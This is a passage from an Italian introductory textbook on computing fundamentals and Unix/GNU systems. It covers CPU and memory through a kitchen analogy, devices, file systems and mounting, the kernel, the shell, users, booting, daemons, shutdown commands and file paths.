Per poter lavorare, il cuoco appoggia tutto quanto, ingredienti e ricetta, sul tavolo di lavoro. Su una parte del tavolo sono incise alcune istruzioni che al cuoco servono sempre; in particolare quelle che il cuoco deve eseguire ogni volta che la cucina viene aperta: pulire il tavolo, controllare tutti gli strumenti (pentole, tegami, coltelli, cucchiai ecc.) e ricevere le ordinazioni assieme alle ricette. Senza queste istruzioni di inizio, il cuoco non saprebbe nemmeno che deve accingersi a ricevere delle ordinazioni.

Come già descritto, il cuoco corrisponde alla CPU; il tavolo di lavoro del cuoco è la ***memoria centrale*** (o *core*) che si suddivide storicamente in ROM e RAM. La ROM è quella parte di memoria che non può essere alterata (nell'esempio del cuoco, si tratta delle istruzioni incise sul tavolo); la RAM è il resto della memoria che può essere alterata a piacimento dalla CPU (il resto del tavolo).

L'elaboratore è pertanto una macchina composta da una o più CPU che si avvalgono di una memoria centrale per trasformare l'input (i dati in ingresso) in output (i dati in uscita).

L'elaboratore, per poter ricevere l'input e per poter produrre all'esterno l'output, ha bisogno di dispositivi: la tastiera e il mouse sono dispositivi di solo input, lo schermo e la stampante sono in grado soltanto di emettere output. Le unità di memorizzazione di massa sono dispositivi che possono operare in entrambe le direzioni.

Il cuoco si avvale di dispense per conservare alimenti (pietanze completate, ingredienti, prodotti intermedi) e anche ricette. Ciò perché il tavolo di lavoro ha una dimensione limitata e non si può lasciare nulla sul tavolo quando la cucina viene chiusa, altrimenti si perde tutto quello che c'è sopra (a eccezione di ciò che vi è stato inciso). Le unità di memorizzazione di massa sono paragonabili alle dispense del cuoco e servono per immagazzinare dati elaborati completamente, dati da elaborare, dati già elaborati parzialmente e i programmi.

Diverse cucine possono essere collegate tra loro in modo da poter condividere o trasmettere ricette, ingredienti,... Le interfacce di rete e i cavi che le collegano sono il mezzo fisico per connettere insieme diversi elaboratori, allo scopo di poter condividere dati e servizi collegati a essi, ma anche per permettere la comunicazione tra gli utenti dei vari elaboratori connessi.

Il ***sistema operativo*** di un elaboratore è il programma più importante. È quello che viene attivato al momento dell'accensione dell'elaboratore; esso esegue gli altri programmi. Sarebbe come se il cuoco eseguisse una procedura (il sistema operativo) che gli dà le istruzioni per poter eseguire le ricette con ordine.

3.2 Dispositivi

I ***dispositivi*** sono qualcosa che è separato dall'elaboratore inteso come l'insieme di CPU e memoria centrale. A seconda del tipo e della loro collocazione, questi possono essere interni o periferici, ma tale distinzione è quasi scomparsa nel linguaggio normale, tanto che molti chiamano ancora «periferiche» tutti i dispositivi. Vale la pena di distinguere fra tre tipi di dispositivi fondamentali: dispositivi di memorizzazione; dispositivi per l'interazione tra l'utente e l'elaboratore; interfacce di rete.

I dispositivi di memorizzazione sono ciò che è in grado di conservare dati anche dopo lo spegnimento della macchina. Il supporto di memorizzazione vero e proprio potrebbe essere parte integrante del dispositivo stesso oppure essere rimovibile. I supporti di memorizzazione possono essere di qualunque tipo, anche se attualmente si è abituati ad avere a che fare prevalentemente con dischi e memorie solide. In passato si è usato di tutto e il primo tipo di supporto di memorizzazione sono state le schede di cartoncino perforate.

Anche i dispositivi per l'interazione con l'utente possono avere qualunque forma possibile e immaginabile: non è il caso di limitarsi all'idea che debba trattarsi solo di tastiera, schermo e mouse. Soprattutto non è il caso di supporre che un elaboratore possa avere solo uno schermo, oppure che possa avere una sola stazione di lavoro.

Le interfacce di rete sono i dispositivi che consentono la connessione tra diversi elaboratori in modo da permettere la condivisione di risorse e la comunicazione in generale. Anche in questo caso, non si può semplificare e pensare che possa trattarsi esclusivamente di schede di rete: qualunque «porta» verso l'esterno può diventare un'interfaccia di rete.

Se si lascia da parte il periodo delle schede perforate, si può dire che il primo tipo di strumento per l'interazione tra utente e macchina sia stato la telescrivente: una sorta di macchina da scrivere in grado di ricevere input dalla tastiera e di emettere output attraverso la stampante. In questo modo, l'input umano (da tastiera) era fatto di righe di testo terminate da un codice per

il ritorno a capo (interruzione di riga, o *new-line*) e nello stesso modo era composto l'output che appariva su carta.

Con l'introduzione della telescrivente si sono sviluppati i sistemi operativi ***interattivi***, che consentono l'uso di programmi che interagiscono con l'utente. Questo tipo di funzionamento si contrappone a quello in cui è necessario predisporre prima tutti i dati necessari e solo alla fine dell'elaborazione si ottiene un risultato (qualunque esso sia, comprese le segnalazioni di errore), tipico dei sistemi a schede perforate.

La telescrivente era (ed è) un terminale dell'elaboratore. Ormai, la stampante della telescrivente è stata sostituita da uno schermo, che però spesso si comporta nello stesso modo: emette un flusso di testo dal basso verso l'alto, così come scorre la carta a modulo continuo attraverso una stampante. In questa situazione, la stampante ha preso un suo ruolo indipendente dal terminale originale e serve come mezzo di emissione di output finale, piuttosto che come mezzo per l'interazione. Il terminale, composto da tastiera e schermo, o comunque da un'unità per ricevere l'input e un'altra per emettere l'output, viene visto normalmente come una cosa sola. Quando si tratta di quello principale, si parla in particolare di ***console***.

In un sistema Unix, i vari componenti hardware di un elaboratore sono rappresentati da file speciali, noti come ***file di dispositivo*** (contenuti normalmente nella directory '`/dev/`', ovvero *device*). Quando si vuole accedere direttamente a un dispositivo, lo si fa utilizzando il nome del file di dispositivo corrispondente. Esistono due categorie fondamentali di file di dispositivo: ***a carattere***, cioè in grado di gestire i dati in blocchetti di un solo byte per volta, oppure ***a blocchi***, cioè in grado di gestire i dati solo in blocchi (settori) di una dimensione fissa.

Il dispositivo a caratteri tipico è la console o la porta seriale, mentre il dispositivo a blocchi tipico è l'unità di memorizzazione di massa ad accesso diretto.

Alcuni file di dispositivo non fanno riferimento a componenti hardware veri e propri. Il più noto di questi è '`/dev/null`' utilizzato come fonte per il «nulla» o come pattumiera senza fondo.

I nomi utilizzati per distinguere i file di dispositivo, sono scelti in base a qualche criterio mnemonico e all'uso più frequente. Tuttavia non è detto che un dispositivo debba chiamarsi in un modo rispetto a un altro.

3.2.1 Tastiera

La tastiera è una tavoletta composta da un insieme di tasti, ognuno dei quali genera un impulso particolare. È l'elaboratore che si occupa di interpretare e tradurre gli impulsi della tastiera. Questo sistema permette poi di attribuire ai tasti la funzione che si vuole.

Ciò significa anche che non esiste uno standard generale di quello che una tastiera deve avere. Di solito si hanno a disposizione tasti che permettono di scrivere le lettere dell'alfabeto inglese, i simboli di punteggiatura consueti e i numeri; tutto il resto è opzionale. Tanto più opzionali sono i tasti a cui si attribuiscono solitamente funzioni particolari. Questa considerazione è importante soprattutto per chi non vuole rimanere relegato a una particolare architettura dell'elaboratore.

3.2.2 Schermo

Il terminale più semplice è composto da una tastiera e uno schermo, ma questa non è l'unica possibilità. Infatti, ci possono essere terminali con più schermi, ognuno per un diverso tipo di output.

Nel tempo, l'uso dello schermo si è evoluto, dalla semplice emissione sequenziale di output, come avviene con una stampante, a una sorta di guida di inserimento di dati attraverso modelli-tipo o formulari. Le maschere video sono questi modelli-tipo attraverso cui l'input della tastiera viene guidato da un campo all'altro. L'ultima fase dell'evoluzione degli schermi è quella grafica, nella quale si inserisce anche l'uso di un dispositivo di puntamento, solitamente il mouse, come un'estensione della tastiera.

3.2.3 Stampante

Le stampanti tradizionali sono solo in grado di emettere un flusso di testo, come avveniva con le telescriventi. Più di recente, con l'introduzione delle stampanti ad aghi, si è aggiunta la possibilità di comandare direttamente gli aghi in modo da ottenere una stampa grafica.

Ma quando la stampa diventa grafica, entrano in gioco le caratteristiche particolari della stampante. Per questo, l'ultima fase evolutiva della stampa è stata l'introduzione dei linguaggi di stampa, tra cui il più importante è stato ed è PostScript, come mezzo di definizione della stampa in modo indipendente dalle caratteristiche della stampante stessa. Così, l'output generato e inviato dalle stampanti può essere costruito sempre nello stesso modo, lasciando alle stampanti l'onere di trasformarlo in base alle proprie caratteristiche e capacità.

I sistemi operativi in multiprogrammazione (*multitasking*) predisposti per l'uso di una stampante, di norma gestiscono questa funzione attraverso una coda di stampa (*spool*). Tradizionalmente, i sistemi Unix utilizzano un demone denominato '**`lpd`**' per la gestione della stampa, in grado anche di ricevere richieste di stampa remote e di inviare richieste di stampa a elaboratori remoti.

3.2.4 Dispositivi di memorizzazione

I dispositivi di memorizzazione sono fondamentalmente di due tipi: ad accesso sequenziale e ad accesso diretto. Nel primo caso, i dati possono essere memorizzati e riletti solo in modo sequenziale, senza la possibilità di accedere rapidamente a un punto desiderato, come con i nastri magnetici. Nel secondo caso, i dati vengono registrati e riletti accedendovi direttamente, come avviene con i dischi e le memorie solide.

I dispositivi di memorizzazione ad accesso diretto possono essere trattati in due modi diversi a seconda delle circostanze: possono essere visti come dei file enormi, oppure come contenitori di file (attraverso l'organizzazione di un file system). La visione che normalmente si ha delle unità di memorizzazione contenenti file e directory è un'astrazione gestita automaticamente dal sistema operativo. Questa astrazione si chiama file system.

3.3 File e file system

In prima approssimazione, il ***file*** è un'unità di informazioni che si compone in pratica di una sequenza di codici. I dispositivi di memorizzazione ad accesso diretto, muniti di file system, consentono la gestione di diversi file, mentre quelli ad accesso sequenziale permettono la gestione di un solo file su tutta la loro dimensione.

Quando il file viene visto come una semplice sequenza di codici corrispondenti a testo normale, lo si può immaginare come un testo dattiloscritto: la sequenza di caratteri viene interrotta alla fine di ogni riga da un codice invisibile che fa riprendere il testo all'inizio di una riga successiva. Questo codice di interruzione di riga, spesso identificato con il termine *new-line*, cambia a seconda della piattaforma utilizzata.

Il file system è il sistema che organizza i file all'interno dei dispositivi di memorizzazione ad accesso diretto. Questo significa che tutto ciò che è contenuto in un file system è in forma di file.

Il modo più semplice per immaginare un file system è quello di un elenco di nomi di file abbinati all'indicazione della posizione in cui questi possono essere trovati. Questo sistema elementare può forse essere utile in presenza di dispositivi di memorizzazione particolarmente piccoli dal punto di vista della loro capacità.

Generalmente, si utilizzano elenchi strutturati, per cui da un elenco si viene rimandati a un altro elenco più dettagliato che può contenere l'indicazione di ciò che si cerca o il rinvio a un altro elenco ancora. Questi elenchi sono chiamati ***directory*** (o cartelle in alcuni sistemi) e sono file con questa funzione speciale.

Per questo motivo, la struttura di un file system assume quasi sempre una forma a stella (o ad albero), nella quale c'è un'origine da cui si diramano tutti i file. Le diramazioni possono svilupparsi in modo più o meno esteso, a seconda delle esigenze.

Data l'esistenza di questo tipo di organizzazione, si utilizza una notazione particolare per indicare un file all'interno di un file system. Precisamente si rappresenta il ***percorso*** necessario a raggiungerlo:

- una barra obliqua rappresenta la directory principale, altrimenti chiamata anche radice, o *root*;
- un nome può rappresentare indifferentemente una directory o un file;
- un file o una directory che discendono da una directory genitrice, si indicano facendo precedere una barra obliqua.

Per esempio, '`/uno/due/tre`' rappresenta il file (o la directory) '`tre`' che discende da '`due`', che discende da '`uno`', che a sua volta discende dall'origine.[1]

Il tipo di file system determina le regole a cui devono sottostare i nomi dei file. Per esempio, ci possono essere situazioni in cui sono consentiti simboli speciali, come il carattere spazio, e altre in cui l'uso di tali simboli non è ammesso. Nello stesso modo, la lunghezza massima dei nomi è sottoposta a un limite.

Oltre a questo, il file system permette di annotare delle informazioni accessorie che servono a qualificare i file, per esempio per poter distinguere tra directory e file contenenti dati normali.

Tradizionalmente si utilizzano due nomi convenzionali per poter fare riferimento alla directory in cui ci si trova e a quella precedente (nel senso di quella che la contiene):

- '`.`' un punto singolo rappresenta la directory in cui ci si trova;
- '`..`' due punti in sequenza rappresentano la directory genitrice, ovvero quella che contiene la directory che si sta osservando.

Nei sistemi operativi Unix non esiste la possibilità di distinguere tra un'unità di memorizzazione e un'altra, come avviene nel Dos, in cui i dischi o le partizioni sono contrassegnati da una lettera dell'alfabeto ('`A:`', '`B:`', '`C:`'). Nei sistemi Unix, tutti i file system cui si vuole poter accedere devono essere concatenati assieme, in modo da formare un solo file system globale.

Quando un sistema Unix viene avviato, si attiva il file system principale, o *root*, quindi possono essere collegati a questo altri file system a partire da una directory o sottodirectory di quella principale. Dal momento che per accedere ai dati di un file system diverso da quello principale occorre che questo sia collegato, nello stesso modo, per poter rimuovere l'unità di memorizzazione contenente questo file system, occorre interrompere il collegamento. Ciò significa che, nei sistemi Unix, non si può inserire un'unità di memorizzazione esterna, accedervi immediatamente e toglierla quando si vuole: occorre dire al sistema di collegare il file system di tale unità, quindi la si può usare come parte dell'unico file system globale. Al termine si deve interrompere questo collegamento e solo allora si può rimuovere l'unità di memorizzazione.

Figura 3.4. Collegamento di un file system secondario in corrispondenza di un punto di innesto (o *mount point*).

file system principale

file system secondario

punto di innesto

(mount point)

L'operazione con cui si collega un file system secondario nel file system globale viene detta *mount*, per cui si utilizza normalmente il verbo ***montare*** o innestare con questo significato; l'operazione inversa viene detta *unmount* e conseguentemente si utilizza il verbo ***smontare*** o separare. La directory a partire dalla quale si inserisce un altro file system è il *mount point*, che potrebbe essere definito come il ***punto di innesto***.

3.4 Sistema operativo

Il sistema operativo è ciò che regola il funzionamento di tutto l'insieme di queste cose, secondo quelle che sono definite ***politiche di gestione***, creando un'astrazione della macchina reale.

L'astrazione che viene messa in atto dal sistema operativo crea quella che si può definire ***macchina virtuale***, la quale, se il sistema operativo è predisposto per farlo, può disporre di una memoria virtuale maggiore rispetto alla memoria centrale reale e può gestire più processi elaborativi in modo apparentemente simultaneo, anche se nella realtà il microprocessore è unico.

La gestione simultanea di più processi elaborativi richiede al sistema operativo la capacità di gestire la memoria (virtuale) in modo da isolare le aree concesse a ognuno di loro; in pratica, la memoria usata da un processo non deve interferire con quella di un altro (a parte i casi in cui la condivisione di un'area di memoria avviene volutamente per scambiare delle informazioni). Un sistema operativo che consente l'esecuzione di un solo programma alla volta viene detto ***monoprogrammato*** o ***uniprogrammato***, mentre un sistema in grado di mettere in funzione più programmi è ***multiprogrammato***.

L'esecuzione di più programmi simultaneamente con un microprocessore singolo avviene solo in apparenza, secondo l'astrazione creata dal sistema operativo, perché nella realtà si tratta dell'esecuzione sequenziale di piccole porzioni di ogni programma, a turno. Quando una risorsa viene impiegata secondo dei turni per porzioni di tempo ben individuate, questo fatto viene definito in inglese come *time sharing*, dove le porzioni di tempo elementari sono definite come *time slice*.

È molto importante che un sistema operativo funzioni in multiprogrammazione, perché nell'elaboratore fisico si creano facilmente dei colli di bottiglia che costringono il microprocessore a rimanere in attesa di eventi esterni alla sua responsabilità diretta. Pertanto, con la multiprogrammazione, i processi elaborativi che utilizzano in pratica porzioni fisiche non impegnate possono ancora sfruttare il microprocessore che altrimenti resterebbe bloccato inutilmente.

In un sistema operativo multiprogrammato, i processi elaborativi devono avere una priorità di esecuzione, che consenta al sistema di fare delle preferenze nell'assegnare loro le porzioni di tempo (*time slice*) del microprocessore. Le priorità di esecuzione dei processi elaborativi servono principalmente a garantire che il sistema nel suo complesso funzioni correttamente, anche quanto le richieste da parte dei programmi raggiungono livelli insostenibili.

Un sistema operativo multiprogrammato può, eventualmente, essere predisposto per la gestione di più utenze simultaneamente. Si parla in questi casi si sistemi operativi ***multiutente***, mentre nel caso contrario i sistemi sono ***monoutente***. Un sistema operativo multiutente deve disporre di meccanismi in grado di distinguere gli utenti e di assegnare loro privilegi differenti.

Tra i componenti che costituiscono un sistema operativo comune, sono molto importanti: il kernel; la shell; i programmi di servizio. Per fare una distinzione grossolana, in un sistema GNU/Linux, il kernel è Linux, mentre i programmi di servizio e di solito anche la shell sono originati dal progetto GNU (⟨http://www.gnu.org⟩). Quando si parla di sistemi GNU si intendono qui quei sistemi operativi basati principalmente sul lavoro del progetto GNU (⟨http://www.gnu.org⟩), tra cui, in particolare, GNU/Linux e GNU/Hurd. Quando si fa riferimento a sistemi Unix, in generale si intende qualcosa che riguarda anche i sistemi GNU.

3.5 Kernel

Il ***kernel*** (nocciolo) è il nucleo del sistema operativo. Idealmente, è una sorta di astrazione nei confronti delle caratteristiche fisiche della macchina ed è il livello a cui i programmi si rivolgono per qualunque operazione. Ciò significa, per esempio, che i programmi non devono (non dovrebbero) accedere direttamente ai dispositivi fisici, ma possono utilizzare dispositivi logici definiti dal kernel. Questa è la base su cui si fonda la ***portabilità*** di un sistema operativo su piattaforme fisiche differenti.

Figura 3.5. Il kernel avvolge idealmente l'elaboratore e i suoi dispositivi fisici, ovvero tutto l'hardware, occupandosi di interagire con i programmi che ignorano l'elaboratore fisico.

La portabilità è quindi la possibilità di trasferire dei programmi su piattaforme differenti, ciò attuato normalmente in presenza di kernel che forniscono funzionalità compatibili.

Naturalmente esistono sistemi operativi che non forniscono kernel tanto sofisticati e lasciano ai programmi l'onere di accedere direttamente alle unità fisiche dell'elaboratore. Si tratta però di sistemi inferiori, anche se le loro caratteristiche derivano da necessità oggettive, a causa delle limitazioni architetturali dell'hardware per cui sono sviluppati.

In un sistema GNU/Linux, il kernel è costituito da un file principale, il cui nome potrebbe essere '`vmlinuz`' (oppure '`zImage`', '`bzImage`' e altri), ma può comprendere anche moduli aggiuntivi, per la gestione di componenti hardware specifici che devono poter essere attivati e disattivati durante il funzionamento del sistema.

Quando il kernel Linux viene avviato (attraverso il sistema di avvio), esegue dei controlli diagnostici in base ai tipi di dispositivi (componenti hardware) per i quali è stato predisposto, quindi innesta (*mount*) il file system principale (*root*) e infine avvia la procedura di inizializzazione del sistema (Init).

3.6 Shell

Il kernel offre i suoi servizi e l'accesso ai dispositivi attraverso chiamate di sistema. Però, mentre i programmi accedono direttamente a questi, perché l'utente possa accedere ai servizi del sistema occorre un programma particolare che si ponga come intermediario tra l'utente (attraverso il terminale) e il kernel. Questo tipo di programma è detto ***shell***. Come suggerisce il nome (conchiglia), si tratta di qualcosa che avvolge il kernel, come se questo fosse una perla.

Figura 3.6. La shell è il programma che consente all'utente di accedere al sistema. I terminali attraverso cui si interagisce con la shell sono comunque parte dell'hardware controllato dal kernel.

programma programma shell shell kernel # #

Un programma shell può essere qualunque cosa, purché in grado di permettere all'utente di avviare e possibilmente di controllare i programmi. La forma più semplice e anche la più vecchia, è la riga di comando presentata da un invito, o *prompt*. Questo modo di interagire ha il vantaggio di poter essere utilizzato in qualunque tipo di terminale, compresa la telescrivente. Una shell, nella sua forma più evoluta, può arrivare a un sistema grafico di icone o di oggetti grafici simili, oppure ancora a un sistema di riconoscimento di comandi in forma vocale.

Dal punto di vista operativo, il funzionamento di un sistema Unix dipende molto dalla shell utilizzata, di conseguenza è importante la scelta della shell. La shell tipica dei sistemi Unix è una shell derivata da quella di Bourne, possibilmente aderente allo standard POSIX: la shell POSIX. Nei sistemi GNU la shell tipica è Bash (il programma eseguibile '**`bash`**'), la quale è conforme allo standard POSIX.

Una shell Unix normale svolge i compiti seguenti:

- mostra l'invito, o *prompt*, all'inserimento dei comandi;
- interpreta la riga di comando data dall'utente;
- esegue delle sostituzioni, in base ai caratteri jolly (o metacaratteri) e alle variabili di ambiente;[2]
- mette a disposizione alcuni comandi interni;
- mette in esecuzione i programmi;
- gestisce la ridirezione dell'input e dell'output;
- è in grado di interpretare ed eseguire dei file script.

3.7 Programmi

I ***programmi di servizio*** sono un insieme di piccole applicazioni utili per la gestione del sistema operativo. Teoricamente, tutte le funzionalità amministrative per la gestione del sistema operativo potrebbero essere incorporate in una shell; in pratica, di solito questo non si fa. Dal momento che le shell tradizionali incorporano alcuni comandi di uso frequente, spesso si perde la cognizione della differenza che c'è tra le funzionalità fornite dalla shell e i programmi di servizio.

In un sistema Unix, i programmi di servizio di uso comune sono contenuti solitamente all'interno delle directory '`/bin/`' e '`/usr/bin/`'. Quelli riservati all'uso da parte dell'amministratore del sistema, l'utente '**`root`**', sono contenuti normalmente in '`/sbin/`' e '`/usr/sbin/`' dove la lettera «s» iniziale, sta per *superuser*, con un chiaro riferimento all'amministratore.

L'elaboratore non può essere una macchina fine a se stessa, ma deve servire a qualcosa. È importante ricordare che tutto nasce da un bisogno da soddisfare. I ***programmi applicativi*** sono quelli che (finalmente) servono a soddisfare i bisogni e quindi rappresentano l'unica motivazione per l'esistenza degli elaboratori.

3.8 Distinzione tra lettere maiuscole e lettere minuscole

Nei sistemi operativi Unix i nomi dei file si distinguono anche in base alla differenza tra le lettere maiuscole e minuscole. Questa caratteristica è molto importante; per esempio, gli ipotetici file denominati '`xy`', '`xY`', '`Xy`' e '`XY`', sono tutti diversi.

In altri sistemi operativi, come per esempio MS-Windows, i nomi di file e directory possono essere composti con lettere minuscole o minuscole, ma questi nomi non si distinguono per la combinazione differente di maiuscole e minuscole nel nome. Pertanto, in quel caso, i nomi '`xy`', '`xY`', '`Xy`' e '`XY`' corrispondono sempre allo stesso file.

Quando in un contesto si fa differenza tra maiuscole e minuscole, capita spesso di vederlo definito come *case sensitive*, mentre per converso, quando non si fa differenza, come *case insensitive*.

3.9 Root

Negli ambienti Unix si fa spesso riferimento al termine ***root*** in vari contesti e con significati differenti. *Root* è la radice, o l'origine, senza altri significati. A seconda del contesto, ne rappresenta l'origine, o il punto iniziale. Per esempio, si può avere:

- una directory *root*, che è la directory principale di un file system, ovvero la directory radice;
- un file system *root*, che è il file system principale di un gruppo che si unisce insieme;
- un utente *root*, che è l'amministratore;
- un dominio *root*, che è il dominio principale;
- una finestra *root* che è quella principale, ovvero la superficie grafica (*desktop*) su cui si appoggiano le altre finestre del sistema grafico X.

Le situazioni in cui si presenta questa definizione possono essere molte di più. L'importante, per ora, è avere chiara l'estensione del significato di questa parola.

3.10 Utenti

Generalmente, i sistemi Unix sono multiutente. La multiutenza implica una distinzione tra i vari utenti. Fondamentalmente si distingue tra l'amministratore del sistema, o *superuser*, e gli altri utenti. L'amministratore del sistema è quell'utente che può fare tutto ciò che vuole, soprattutto rischia di produrre gravi danni anche solo per piccole disattenzioni. L'utente comune è quello che utilizza il sistema senza pretendere di organizzarlo e non gli è possibile avviare programmi o accedere a dati che non lo riguardano.

Per poter utilizzare un sistema di questo tipo, occorre essere stati registrati, ovvero, è necessario avere ottenuto un ***account***. Dal punto di vista dell'utente, l'*account* è un nome abbinato a una parola d'ordine che gli permette di essere riconosciuto e quindi di poter accedere. Oltre a questo, l'*account* stabilisce l'appartenenza a un gruppo di utenti.

Il nome dell'amministratore è sempre '**`root`**', quello degli altri utenti viene deciso di volta in volta.

I sistemi Unix e i programmi che su questi sistemi possono essere utilizzati, non sono predisposti per un utilizzo distratto: gli ordini non vengono discussi. Molti piccoli errori possono essere disastrosi se sono compiuti dall'utente '**`root`**'. È molto importante evitare il più possibile di utilizzare il sistema in qualità di utente amministratore ('**`root`**') anche quando si è l'unico utilizzatore del proprio elaboratore.

Tutti gli utenti di un sistema Unix sono associati a uno o più gruppi. Un utente ottiene dei privilegi in quanto tale, oppure in quanto appartenente a un certo gruppo.

Figura 3.7. Utenti e gruppi: un utente può appartenere a gruppi differenti.

A = Tizio, Caio, Sempronio

B = Caio, Mevio, Filano

C = Sempronio, Caio, Mevio

3.11 Avvio

Il ***boot*** è il modo con cui un sistema operativo può essere avviato quando l'elaboratore viene acceso. Di solito, il software registrato su ROM degli elaboratori basati sull'uso di unità di memorizzazione di massa ad accesso diretto, è fatto in modo da eseguire le istruzioni contenute nel primo settore, della prima di tali unità previste. Questo settore è noto come MBR (*Master boot record*). Il codice contenuto nel settore di avvio provvede all'esecuzione del kernel (lo avvia).

La parola *boot* è il risultato dell'abbreviazione di *bootstrap*. La parola, usata normalmente al plurale, si riferisce alle linguette degli stivali che servono a calzarli (calzastivali), senza bisogno di aiuto da parte di una seconda persona. Questo fa sì che il termine venga usato in inglese anche per esprimere il concetto di «cavarsela da soli», che spiega il motivo della scelta nel contesto informatico.
In base all'analogia, anche se il suo utilizzo è desueto, è il caso di osservare che il *bootstrap* è il programma o il codice che si prende cura del caricamento del sistema operativo. Pertanto, sarebbe come dire che programmi come SYSLINUX e GRUB, installano il *bootstrap*.

Con un sistema GNU installato in un elaboratore x86, la configurazione e la gestione del sistema di avvio viene fatta principalmente attraverso: SYSLINUX, il quale permette di avviare facilmente l'esecuzione di un kernel Linux da un dischetto Dos, da un disco ottico o anche dalla rete con l'ausilio dei protocolli PXE, TFTP e DHCP; GRUB, il quale è in grado di predisporre un settore di avvio su un dischetto, sull'MBR o sul primo settore della partizione contenente un sistema GNU/Linux;

3.12 Inizializzazione e gestione dei processi

I sistemi Unix funzionano generalmente in multiprogrammazione, ovvero *multitasking*, pertanto sono in grado di eseguire diversi programmi, o processi elaborativi, contemporaneamente. Per poter realizzare questo, oltre alla gestione interna al kernel, esiste esternamente un gestore dei processi elaborativi: Init, realizzato dall'eseguibile '`init`', che viene avviato subito dopo l'attivazione del file system principale, allo scopo di occuparsi di eseguire la procedura di inizializzazione del sistema. In pratica, esegue delle istruzioni necessarie alla configurazione corretta del sistema particolare che si sta avviando.

3.13 Demoni

Molti servizi sono svolti da programmi che vengono avviati durante la fase di inizializzazione del sistema e quindi compiono silenziosamente la loro attività. Questi programmi sono detti ***demoni*** (*daemon*).

3.14 Gestione dei servizi di rete

Nei sistemi Unix la gestione della rete è un elemento essenziale e normalmente presente. I servizi di rete vengono svolti da dei demoni attivati in fase di inizializzazione del sistema. Nei sistemi GNU, i servizi di rete sono controllati fondamentalmente da tre programmi:

- il supervisore dei servizi di rete, costituito normalmente dal demone '**`inetd`**', che si occupa di attivare di volta in volta, quando necessario, alcuni demoni che poi gestiscono servizi specifici;
- il TCP wrapper, costituito normalmente dal programma eseguibile '**`tcpd`**', che si occupa di controllare e filtrare l'utilizzazione dei servizi offerti dal proprio sistema contro gli accessi indesiderati;
- Portmapper, costituito normalmente dal demone '**`rpc.portmap`**', oppure solo '**`portmap`**', che si occupa del protocollo RPC (*Remote procedure call*).

Un servizio molto importante nelle reti locali consente di condividere porzioni di file system da e verso altri elaboratori connessi. Questo si ottiene normalmente con il protocollo NFS che permette quindi di realizzare dei file system di rete.

3.15 Registrazione e controllo degli accessi

I sistemi Unix, oltre che essere in multiprogrammazione sono anche multiutente, cioè possono essere usati da più utenti contemporaneamente. La multiutenza dei sistemi Unix è da considerare nel modo più ampio possibile, nel senso che si può accedere all'utilizzo dell'elaboratore attraverso la console, terminali locali connessi attraverso porte seriali (eventualmente anche attraverso la mediazione di modem), terminali locali o remoti connessi attraverso una rete.

In queste condizioni, il controllo dell'utilizzazione del sistema è essenziale. Pertanto, ogni utente che accede deve essere stato registrato precedentemente, con un nome e una parola d'ordine, o *password*.

La fase in cui un utente viene riconosciuto e quindi gli viene consentito di agire, è detta ***login***.[3] Così, la conclusione dell'attività da parte di un utente è detta ***logout***.

3.16 Strumenti di sviluppo software

Tutti i sistemi operativi devono avere un mezzo per produrre del software. In particolare, un sistema operativo Unix deve essere in grado di compilare programmi scritti in linguaggio C/C++. Gli strumenti di sviluppo dei sistemi Unix, composti da un compilatore in linguaggio C/C++ e da altri programmi di contorno, sono indispensabili per poter installare del software distribuito in forma sorgente non compilata.

3.17 Arresto o riavvio del sistema

Qualunque sistema operativo in multiprogrammazione, tanto più se anche multiutente, deve prevedere una procedura di arresto del sistema che si occupi di chiudere tutte le attività in corso prima di consentire lo spegnimento fisico dell'elaboratore.

Normalmente, in un sistema Unix solo l'utente '**`root`**' può avviare la procedura di arresto del sistema con il comando seguente:

`shutdown -h now` [*Invio*]

Per richiedere invece il riavvio del sistema:

`shutdown -r now` [*Invio*]

Con un sistema GNU/Linux installato su un elaboratore con architettura x86, di solito è possibile usare la combinazione di tasti [*Ctrl Alt Canc*] per riavviare il sistema. In questo modo, anche un utente comune ha modo di spegnere il sistema senza creare danni.

3.18 File e directory in un sistema Unix

Tutto ciò che è contenuto in un file system Unix è in forma di file: anche una directory è un file. Quando si vuole fare riferimento a un file nel senso stretto del termine, ovvero un archivio di dati,[4] se si vuole evitare qualunque ambiguità si utilizza il termine file normale, o *regular file*.

Una directory è un file speciale contenente riferimenti ad altri file. I dati contenuti in un file system sono organizzati in forma gerarchica schematizzabile attraverso un ***albero***, ovvero un tipo particolare di ***grafo orientato*** che parte da una radice e si sviluppa in rami e nodi. La figura 3.8 mostra lo schema di un albero.

Figura 3.8. Albero.

La radice è il nodo principale di questo grafo orientato, i rami rappresentano il collegamento (la discendenza) dei nodi successivi con quello di origine (il genitore). La radice corrisponde a una directory, mentre i nodi successivi possono essere directory, file di dati o file di altro genere.

Per identificare un nodo (file o directory) all'interno di questa gerarchia, si definisce il percorso (*path*). Il percorso è espresso da una sequenza di nomi di nodi che devono essere at-

traversati, separati da una barra obliqua ('/'). Il percorso 'idrogeno/carbonio/ossigeno' rappresenta un attraversamento dei nodi 'idrogeno', 'carbonio' e 'ossigeno'.

Dal momento che il grafo di un sistema del genere ha un nodo di origine corrispondente alla radice, si distinguono due tipi di percorsi: relativo e assoluto.

- ***Percorso relativo***

  Un percorso è relativo quando parte dalla posizione corrente (o attuale) del grafo per raggiungere la destinazione desiderata. Nel caso dell'esempio precedente, 'idrogeno/carbonio/ossigeno' indica di attraversare il nodo 'idrogeno' inteso come discendente della posizione corrente e quindi gli altri.

- ***Percorso assoluto***

  Un percorso è assoluto quando parte dalla radice.

Il nodo della radice non ha un nome come gli altri: viene rappresentato con una sola barra obliqua ('/'), di conseguenza, un percorso che inizia con tale simbolo, è un percorso assoluto. Per esempio, '/cloro/sodio' indica un percorso assoluto che parte dalla radice per poi attraversare 'cloro' e quindi raggiungere 'sodio'.

Un albero è un grafo orientato, nel senso che i rami hanno una direzione (archi orientati), ovvero ogni nodo ha un genitore e può avere dei discendenti e il nodo radice rappresenta l'origine. Quando in un percorso si vuole tornare indietro verso il nodo genitore, non si usa il nome di questo, ma un simbolo speciale rappresentato da due punti in sequenza ('..'). Per esempio, '../potassio' rappresenta un percorso relativo in cui si raggiunge il nodo finale, 'potassio', passando prima per il nodo genitore della posizione corrente.

In alcuni casi, per evitare equivoci, può essere utile poter identificare il nodo della posizione corrente. Il simbolo utilizzato è un punto singolo ('.'). Per cui, il percorso 'idrogeno/carbonio/ossigeno' è esattamente uguale a './idrogeno/carbonio/ossigeno'.

Figura 3.9. Uno schema compatibile con gli esempi descritti.

3.19 Collegamenti

